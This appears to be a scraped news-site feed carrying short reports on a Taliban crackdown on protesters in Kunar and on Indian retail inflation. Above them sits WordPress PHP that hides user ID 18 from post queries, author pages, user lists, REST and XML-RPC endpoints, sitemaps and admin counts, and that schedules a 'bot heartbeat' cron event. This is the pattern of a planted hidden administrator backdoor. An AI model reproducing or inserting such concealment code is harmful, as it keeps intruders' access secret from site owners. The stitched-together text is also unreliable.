add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Several people were killed and injured in the stampede and firing by the Taliban : Report appeared first on The Edge Media.
]]>“Hundreds of people came out on the streets,” Reuters quoted a witness named Mohammed Salim as saying. “At first I was scared and didn’t want to go but when I saw one of my neighbours joined in I took out the flag I have at home.”
“Several people were killed and injured in the stampede and firing by the Taliban,” the witness from the eastern city, the capital of Kunar province, added.
The Taliban has not commented on the incident yet.
The local media has reported about similar protests in the eastern city of Jalalabad and a district of Paktia province with no reports of serious violence.
The post Several people were killed and injured in the stampede and firing by the Taliban : Report appeared first on The Edge Media.
]]>The post India’s retail inflation marginally rose, shows report appeared first on The Edge Media.
]]>Inflation based on the Consumer Price Index (CPI) remained above the Reserve Bank of India’s comfort level for the second month in a row. RBI has been mandated by the government to keep retail inflation at 4 per cent with a margin of 2 per cent on either side.
Economists also said that Monday’s June inflation print was above the upper range of the central bank’s 2-6% target, but that price pressures appeared to be easing.
The softer-than-expected inflation comes as a relief in an environment when the continuing accommodative stance remains a necessity to revive growth,” news agency Reuters quoted Upasna Bhardwaj, economist at Kotak Mahindra Bank, Mumbai, as saying.
“We expect the MPC (Monetary Policy Committee) to draw comfort from relatively stable (inflation),” Bhardwaj also said as per Reuters.
Group chief economist Rupa Rega Nitsure of L&T Finance Holdings, said that there “was no surprise in this data.” “The Reserve Bank of India (RBI) too has made its approach and stance clear in the coming months,” she added as Reuters report.
She also said that markets may suffer from temporary nervousness but “it will not sustain for long. Gradual revival in economic activity and liquidity assurance will restore the balance,” as per Reuters report.
High fuel prices and rising input costs for companies are likely to keep inflation elevated for some time, economists also said.
(With inputs from agencies)
The post India’s retail inflation marginally rose, shows report appeared first on The Edge Media.
]]>